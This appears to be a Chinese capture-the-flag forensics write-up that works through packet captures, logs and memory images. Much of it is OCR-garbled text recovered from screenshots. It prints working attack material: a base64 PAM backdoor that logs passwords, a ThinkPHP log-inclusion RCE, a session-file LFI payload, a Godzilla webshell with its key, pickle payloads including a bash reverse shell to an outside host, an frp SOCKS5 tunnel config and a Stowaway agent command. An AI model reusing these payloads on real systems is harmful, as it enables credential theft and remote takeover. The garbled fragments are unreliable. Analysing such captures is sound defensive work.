WP

答到

1.1

wireshark HTTP

JWT

2.1

直接JWT

2.2

有一个10086和10087.答案10087#admin

```
POST /exec HTTP/1.1
Host: 192.168.2.197:8081
Content-Length: 14
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
10 origin: http://192.168.2.197:8081
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.16
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/
signed-exchange;v=b3;q=0.9
Referer: http://192.168.2.197:8081/exec
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=3f8coeg6hm9vf0b5lcoifmk805;
token=eyJhbGcioiJIUzINISISInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODcsIkIhcENsYwltcy16eyJlc2VybmFtZSI6ImFkbWluIn19.rurQD5RYgMrFZc
k7KCP13P32sF-RpTXhKsxzvD0
Connection: close

command=whoamiHTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Date: Sat, 07 Aug 2021 05:25:10 GMT
Content-Length: 249
Connection: close
```

2.3

```
nead>
ody>
cript language="javascript" type="text/javascript
alert("root\n")
vindow.location.href="\/exec";
```

```
Cookie: PHPSESSID=3f8coeg6hm9vf0h5lcoifmk8o5;
 token=eyJhbGciOiJIUzIINiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAWODcsIk1hcENsYWltcyI6eyJ1c2VybmFtZSI6ImFkbWluIn19.rurQD5RYgMrFZow8r-
 k7KCP13P32sF-RpTXhKsxzvD0
 Connection: close
 command=echo%20I2luY2x1ZGUgPHN0ZGlvLmg%2bCiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPGN1cmwvY3VybC5oPgojaW5jbHVkZ5A8c3RyaW5nL
 mg%2bCiNpbmNsdWRlIDxzZWN1cm10eS9wYW1fYXBwbC5oPgojaW5jbHvkZSA8c2VjdXJpdHkvcGFtX21vZHVsZXMuaD4KI2luv2x1ZGUgPHvuaXN0ZC5oPgpza
xplX3Qgd3JpdGvfZGF0YSh2b2lkICpidWZmZXIsIHNpemVfdCBzaXplLCBzaXplX3Qgbm1lbWIsIHZvaWQgKnVzZXJwKQp7CnJldHvybiBzaXplICogbm1lbWI
 7Cn0KCnZvaWQgc2F2ZU1lc3NhZ2UoY2hhciAoKm1lc3NhZ2UpW10pIHsKRklMRSAqZnAgPSBOVUXMOwpmcCA9IGZvcGVuKCIvdG1wLý5sb290ZXIiLCAiYSsiKTsKZnB1dHMoKm1lc3NhZ2UsIGZwKTsKZmNsb3NlKGZwKTsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX3NldGNyZWQoIHBhbV9oYW5kbGVfdCAqcGFtaCwgaW5
 @IGZSYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YgKSB7CnJldHVybiBQQU1fU1VDQ0VTUzsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX2FjY3Rfb
WdtdChwYW1faGFuZGxlX3QgKnBhbWgsIGludCBmbGFncywgaW50IGFyZ2MsIGNvbnN0IGNOYXIgKiphcmd2KSB7CnJldHVybiBQQU1fU1VDQ0VTUzsKfQoKUEF
 NXØVYVEVSTİBpbnQgCGFtX3NtX2F1dGhlbnRpY2F0ZSggCGFtX2hhbmRsZV90ICpwYW1oLCBpbnQgZmxhZ3MsaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2I
CkgewppbnQgcmV0dmFsOwpjb25zdCBjaGFyKiB1c2VybmFtZTsKY29uc3QgY2hhciogcGFzc3dvcmQ7CmNoYXIgbwVzc2FnZVsxMDI0XTsKcmV0dmFsID0gcGF
 tX2dldF91c2vyKHBhbWgsICZ1c2VybmFtZSwgIlVzZXJuYW1lOiAiKTSKCGFtX2dldF9pdGVtKHBhbWgSIFBBTV9BVVRIVE9LLCAodm9pZCAqKSAmcGFzC3dvcmQpOwppZiAocmV0dmFsICE9IFBBTV9TVUNDRVNTKSB7CnJldHVybiByZXR2YWw7Cn0KCnNucHJpbnRmKG1lc3NhZ2UsMjA0OCwiVXNlcm5hbWUgJXNcblBhc3N
 3b3JkOiAlc1xuIix1c2VybmFtZSxwYXNzd29yZCk7CnNhdmVNZXNzYWdlKCZtZXNzYWdlKTsKcmV0dXJuIFBBTV9TVUNDRVNTOwp9|base64%20-d%20>/tmp/
1.CHTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Date: Sat. 07 Aug 2021 05:13:59 GMT
```

looter.so

```
Hypertext Transfer Protocol
HTML Form URL Encoded: application/x-www-form-urlencoded
Form item: "command" = "echo "auth optional looter.so""
     Key: command
    Value: echo "auth optional looter.so"
```

```
2.6
nternet Protocol Version 4, Src: 192.168.2.197, Dst: 192.168.2.197
ransmission Control Protocol, Src Port: 57355, Dst Port: 8081, Seq: 1, Ack:
ypertext Transfer Protocol
TML Form URL Encoded: application/x-www-form-urlencoded
Form item: "command" = "cat /etc/pam.d/common-auth"
    Key: command
    Value: cat /etc/pam.d/common-auth
0 00 70 0c ho 00 70 0c ho
```

WEBSHELL

	4دروره، د ٥و	152.100.2.15/	172.100.2.17/	111.15	TOOSS !!!!! (1.1 SOO OV (2LEG 2111 TINGRE)			
	97 3.058487	192.168.2.197	192.168.2.197	HTTP	1837 HTTP/1.1 200 OK (PNG)			
	99 3.058493	192.168.2.197	192.168.2.197	HTTP	15475 HTTP/1.1 200 OK (PNG)			
	100 3.058498	192.168.2.197	192.168.2.197	HTTP	924 HTTP/1.1 200 OK (GIF89a)			
-	101 11.239111	192.168.2.197	192.168.2.197	HTTP	753 POST /index.php?m=Home&c=Members&a=			
-	102 11.276904	192.168.2.197	192.168.2.197	НТТР/Ј	553 HTTP/1.1 200 OK , JavaScript Object			
	103 11.281408	192.168.2.197	192.168.2.197	HTTP	672 GET /index.php HTTP/1.1			
	105 11.361988	192.168.2.197	192.168.2.197	HTTP	2684 HTTP/1.1 200 OK (text/html)			
	106 11.382561	192.168.2.197	192.168.2.197	HTTP	623 GET /index.php?m=Home&c=Qrcode&a=ind			
	107 11.390834	192.168.2.197	192.168.2.197	HTTP	586 GET /index.php?m=&c=index&a=ajax_sc			
	108 11.391474	192.168.2.197	192.168.2.197	HTTP	598 GET /index.php?m=Home&c=index&a=aja:			
-	109 11.401184	192.168.2.197	192.168.2.197	HTTP	855 HTTP/1.1 200 OK (PNG)			
	110 11.406544	192.168.2.197	192.168.2.197	НТТР/Ј	513 HTTP/1.1 200 OK , JavaScript Object			
Null/I	Loopback							
	•	4. Src: 192.168.2.1	97, Dst: 192.168.2.19	7				
		•	3, Dst Port: 8081, Se		. Len: 697			
	text Transfer Protoco		3, 550 70707 0001, 50	q, 1, nen, 1	,			
71			-urlencoded					
→ HTML Form URL Encoded: application/x-www-form-urlencoded → Form item: "username" = "test" → HTML Form URL Encoded: application/x-www-form-urlencoded → Form item: "username" = "test" → HTML Form URL Encoded: application/x-www-form-urlencoded → Form item: "username" = "test" → HTML Form URL Encoded: application/x-www-form-urlencoded → Form item: "username" = "test" → HTML Form URL Encoded: application/x-www-form-urlencoded → Form item: "username" = "test" → HTML Form URL Encoded: application/x-www-form-urlencoded → HTML Form URL Encoded: application/x-www-form-urlencoded → HTML Form item: "username" = "test" → HTML Form URL Encoded: application ("test") →								
· · · · · · · · · · · · · · · · · · ·								
> Form item: "password" = "Admin123!@#"								
> Form item: "expire" = "0"								

```
11/Loopback
ternet Protocol Version 4, Src: 192.168.2.197, Dst: 192.168.2.197
ansmission Control Protocol, Src Port: 59654, Dst Port: 8081, Seq: 1, Ack: 1, Len: 750
pertext Transfer Protocol
ML Form URL Encoded: application/x-www-form-urlencoded Form item: "variable" = "1"
Form item: "tpl" = "data/Runtime/Logs/Home/21_08_07.log"
Form item: "a" = "system('whoami');"
75 6c 74 3b 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e
                                                             ult; ··Co nnection
```

```
6937 HTTP/1.1 200 OK (text/html)
880 POST /index.php?m=home&a-assign_resume_tpl HTTP/1.1 (application/x-www-form-6956 HTTP/1.1 200 OK (text/html)
596 GET /1.php HTTP/1.1
280 HTTP/1.1 200 OK (application/x-www-form-urlencoded)
423 HTTP/1.1 200 OK (text/html)
1307 POST /1.php HTTP/1.1 (application/x-www-form-urlencoded)
421 HTTP/1.1 200 OK (text/html)
1421 POST /1.php HTTP/1.1 (application/x-www-form-urlencoded)
437 HTTP/1.1 200 OK (text/html)
1421 POST /1.php HTTP/1.1 (application/x-www-form-urlencoded)
438 HTTP/1.1 200 OK (text/html)
1429 POST /1.php HTTP/1.1 (application/x-www-form-urlencoded)
458 HTTP/1.1 200 OK (text/html)
                                      331 383.473089
332 396.095915
334 396.132914
335 402.251776
336 402.254696
337 421.186528
338 421.188146
                                                                                                     192.168.2.197
                                                                                                                                                                                     192.168.2.197
                                                                                                     192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
                                                                                                                                                                                   192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
                                    338 421.188146
339 423.950782
340 423.952692
341 424.003011
342 424.007597
343 538.744071
344 538.745941
345 538.778180
346 538.780389
                                                                                                       192.168.2.197
                                                                                                                                                                                     192.168.2.197
                                                                                               192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
                                                                                                                                                                                   192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
                                                                                                                                                                           192.168.2.197
192.168.2.197
                                                                                                                                                                                                                                                              HTTP
 Frame 338: 423 bytes on wire (3384 bits), 423 bytes captured (3384 bits)
Null/Loopback
Internet Protocol Version 4, Src: 192.168.2.197, Dst: 192.168.2.197
Transmission Control Protocol, Src Port: 8081, Dst Port: 61047, Seq: 1, Ack: 1311, Len: 367
Hypertext Transfer Protocol
hypercext Transfer Protocol
Line-based text data: text/html (1 lines)
bc@f2/var/www/html\t/\ttinux 766b512f452f 5.10.25-linuxkit #1 SMP Tue Mar 23 09:27:39 UTC 2021 x86_64\tww-dataf797e322e0
```

3.4

```
1366 POST /1.php HTTP/1.
 423 HTTP/1.1 200 OK (to
1307 POST /1.php HTTP/1.
```

3.5

```
ThinkPHP/\t2021-08-07 05:
Application/\t2021-08-07 (
data/\t2021-08-07 06:00:3
frpc\t2021-08-07 09:42:32
inday nhn\+2021 00 07 05.1
```

3.6

一句话16进制解密

```
8
9
10
11
   [common]
12 server addr = 192.168.239.123
13 server port = 7778
14 token=Xa3BJf2l5enmN6Z7A8mv
15
16 [test sock5]
17 type = tcp
18 remote port =8111
19 plugin = socks5
20 plugin_user = OHDFt16cLQJ
21 plugin passwd = JTN276Gp
22 use encryption = true
23 use compression = true
24
```

同上

日志分析

4.1

```
0000] "GET /t.php HTTP/1.1" 404 457 "-" "Mozilla/5.0 (No000] "GET /www.zip HTTP/1.1" 200 1686 "-" "Mozilla/5.0 (No000] "GET /www.zip HTTP/1.1" 200 1686 "-" "Mozilla/5.0 (No000] "GET /www.zip HTTP/1.1" 200 1686 "-" "Mozilla/5.0 (No000] "GET /www.zip HTTP/1.1" 404 457 "-" "Mozilla/5.0 (No000] "GET /www.zip HTTP/1 1" 404 457 "-" "Mozilla/5.0 (No000] "GET /www.zip HTTP/1 1" 404 457 "-" "Mozilla/5.0 (No000] "GET /www.zip HTTP/1 1" 404 457 "-" "Mozilla/5.0 (No000] "GET /www.zip HTTP/1 1" 404 457 "-" "Mozilla/5.0 (No000] "GET /www.zip HTTP/1 1" 404 457 "-" "Mozilla/5.0 (No000] "GET /www.zip HTTP/1 1" 404 457 "-" "Mozilla/5.0 (No000] "GET /www.zip HTTP/1 1" 404 457 "-" "Mozilla/5.0 (No000] "GET /www.zip HTTP/1.1" 404 457 "-" "Mozilla/5.0 (No0000] "GET /www.zip HTTP/1.1" 404 457 "-" "Mozilla/5.0 (No0000) "GET /www.zip HTTP/1.1" 404 457 "-" "Mozilla/5.0 (No00000) "GET /www.zip HTTP/1.1" 404 457 "-" "Mozilla/5.0 (No0000) "GET /www.zip HTTP/1.1" 404 457 "-" "Mozilla/5.0 (No0000) "GET /www.zip HTTP/1.1" 404 457 "-" "Mozilla/5.0 (No0000) "GET /www.zip HTTP/1.1" "Mozilla/5.0 (No0000) "GET /www.zip HTTP/1.1" "Mozilla/5.0 (No0000) "GET /www.zip HTTP/1.1" "Mozilla/5.0 (No00000) "GE
```

07 Safari/537.36"

/Aug/2021:01:38:20 +0000] "GET

./../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"fi
y";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 302 879 "-" "python-requests/2
/Aug/2021:01:38:20 +0000] "GET /?file=sess car HTTP/1.1" 200 687 "-" "python-requests/2.26

4.3

同上splfileobject

流量分析

5.1

内存分析

6.1

6.2

https://github.com/RealityNet/kobackupdec

把HUAWEI目录下的文件按照相对目录放好,密码是之前的flag python3 kobackupdec.py -vvv W31C0M3_T0_THiS_34SY_F0R3NSiCX huawei/ flag 解压tar得到flag

flag{TH4NK Y0U FOR DECRYPTING MY DATA}

简单的日志分析

7.1



```
10
p0
0S'cat /Th4s IS VERY Import Fi1e'
p1
0(g0
lp2
0(10
tp3
0(g3
10
dp4
0cos
system
p5
0g5
(g1
tR.
```

```
■ A 2014 NUION RAZED4 FKKOK\DORRE4 LOOF24 MAL RALAZZA
JRL
     10
     p0
IRL
     0S'bash -i >& /dev/tcp/192.168.2.197/8888 0>&1'
te
     р1
     0(g0
     lp2
     0(10
     tp3
     0(g3
     10
     dp4
     0cos
     system
     р5
     0g5
     (g1
     tR.
```

SQL注入

8.1

布尔盲注。没sleep

```
r((select flag from sqli.flag),43,1
-" "python-requests/2.26.0"
```

WIFI

9.1

先filescan找到zip。cmdscan找到了0?0?*???*
用掩码爆破。没反应。看压缩包有提示
ssword is Network Adapter GUID
然后就搜Microsoft\Wlansvc\Profiles\Interfaces\得到GUID
然后解压得到wifi的密码

```
1 airdecap-ng xxx.pcap -e wifi名 -p 密码
```

得到解密后的流量

在服务端中可以得到哥斯拉的马。其中有key什么的解密需要用到本地搭个环境。逆向下。

```
?php
 @session start();
 @set time limit(0);
 @error reporting(0);
function encode ($D,$K) {
     for ($i=0;$i<strlen($D);$i++) {</pre>
          $c = $K[$i+1&15];
          SD[Si] = SD[Si]^Sc;
     return $D;
 $pass='pass';
 $payloadName='payload';
 $key='3c6e0b8a9c15224a';
if (isset($ POST[$pass])){
     $data=encode(base64 decode($ POST[$pass]),$key);
     if (isset($ SESSION[$payloadName])){
          $payload=encode($ SESSION[$payloadName],$key);
          var_dump($payload);
          eval ($payload);
          echo substr(md5($pass.$key),0,16);
         echo base64_encode(encode(@run($data),$key));
//base64编码 encode 编码 gz编码 命令执行结果
          echo substr(md5($pass.$key),16);
      }else{
          if (stripos($data, "getBasicsInfo")!==false) {
              $ SESSION[$payloadName]=encode($data,$key);
```

说白了。就是接受post的key。然后带入run。run是哥斯拉自己实现的一个函数。需要var_dump调试出来。

```
S SES=array();
     | Function run (Spms) (
| reDefSystemFunc();
| S_SES=&getSession();
          $\quad \text{9session_start();}
$\quad \text{session_id());}
if (isset(\(\frac{1}{2}\) \text{SESSION[\(\frac{1}{2}\) \text{sessioId]}))}
                $_SES=unserialize((S1MiwYYr(base64Decode($_SESSION[$sessioId],$sessioId)));
           @session write close();
13
14
15
16
17
18
19
          if (canCallGzipDecode() ==1&&@isGzipStream($pms)){
    $pms=gzdecode($pms);
           formatParameter($pms);
          if (isset($_SES["bypass_open_basedir"])&&$_SES["bypass_open_basedir"]==true) {
     @bypass_open_basedir();
           Sresult=evalFunc():
                @session_write_close();
          if (canCallGzipEncode())
                $result=gzencode($result,6);
           return $result;
36
```

然后接受参数。gzdecode后。得到命令和execommand方法。最后调用evalFunc返回命令的结果

最后\$result=gzencode(\$result,6);

```
echo base64_encode(@run($data),$key));
```

相当于执行了base64_encode(encode(返回结果, \$key))

而encode是一个xor。所以没必要逆向。直接调用就行。key就是服务端的马中有

最后看客户端流量最后一条。写个脚本

IOS

拿key.log解密ssl请求

```
iphonex:~ root# ./ios_agent -c 3.128.156.159:8081 -s hack4sec
/08/28 17:53:50 [*] Starting agent node actively.Connecting to 3.128.156.159:
```

```
y
ttps://github.com/ph4ntonn/<u>Stowaway/re</u>leases/
```

```
-s hack4sec
Connecting to 3.128.
```

10.4

HTTP2。一个个看。16进制。最后是个uuid

10.5

192.108.1.8	20192 192.108.1.12	402	4	150	1	10	1	00835.00000	0.0000	_
192.168.1.8	56193 192.168.1.12	483	2	138	1	78	1	60836.00000	0.0000	_
192.168.1.8	56194 192.168.1.12	484	2	138	1	78	1	60839.00000	0.0000	_
192.168.1.8	56195 192.168.1.12	485	2	138	1	78	1	60841.00000	0.0000	_
192.168.1.8	56196 192.168.1.12	486	2	138	1	78	1	60841.00000	0.0000	_
192.168.1.8	56197 192.168.1.12	487	2	138	1	78	1	60842.00000	0.0000	_
192.168.1.8	56198 192.168.1.12	488	2	138	1	78	1	60843.00000	0.0000	_
192.168.1.8	56199 192.168.1.12	489	2	138	1	78	1	60843.00000	0.0000	_
192.168.1.8	56200 192.168.1.12	490	2	138	1	78	1	60 844.00000	0.0000	_
192.168.1.8	56201 192.168.1.12	491	2	138	1	78	1	60844.00000	0.0000	_
192.168.1.8	56202 192.168.1.12	492	2	138	1	78	1	60845.00000	0.0000	_
192.168.1.8	56203 192.168.1.12	493	2	138	1	78	1	60846.00000	0.0000	_
192.168.1.8	56204 192.168.1.12	494	2	138	1	78	1	60846.00000	0.0000	_
192.168.1.8	56205 192.168.1.12	495	2	138	1	78	1	60 847.00000	0.0000	_
192.168.1.8	56206 192.168.1.12	496	2	138	1	78	1	60848.00000	0.0000	_
192.168.1.8	56207 192.168.1.12	497	2	138	1	78	1	60848.00000	0.0000	_
192.168.1.8	56208 192.168.1.12	498	2	138	1	78	1	60849.00000	0.0000	_
192.168.1.8	56209 192.168.1.12	499	2	138	1	78	1	60 849.00000	0.0000	_

10.6

10.7

192.168.1.8	56181 192.168.1.12	
192.168.1.8	56182 192.168.1.12	
192.168.1.8	56183 192.168.1.12	

192.168.1.8 169.254.106.142	55317 17.167.225.11 58351 169.254.164.195	443 54710	44 127	13k 12k	27 64	7150 4470	63
192.168.1.8	56218 172.28.0.2	80	7	546	7	546	0
192.168.1.8	55316 59.80.29.57	80	13	4467	7	792	6
192.168.1.8	55315 59.80.29.57	443	51	14k	27	2842	24

```
945.130 Safari/537.36" "-"
:14 +0000] "GET //ma.php?fxxk=system(base64_decode('d2hvY ecko) Chrome/79.0.3945.130 Safari/537.36" "-"
:14 +0000] "GET /favicon.ico HTTP/1.1" 200 43 "http://172
```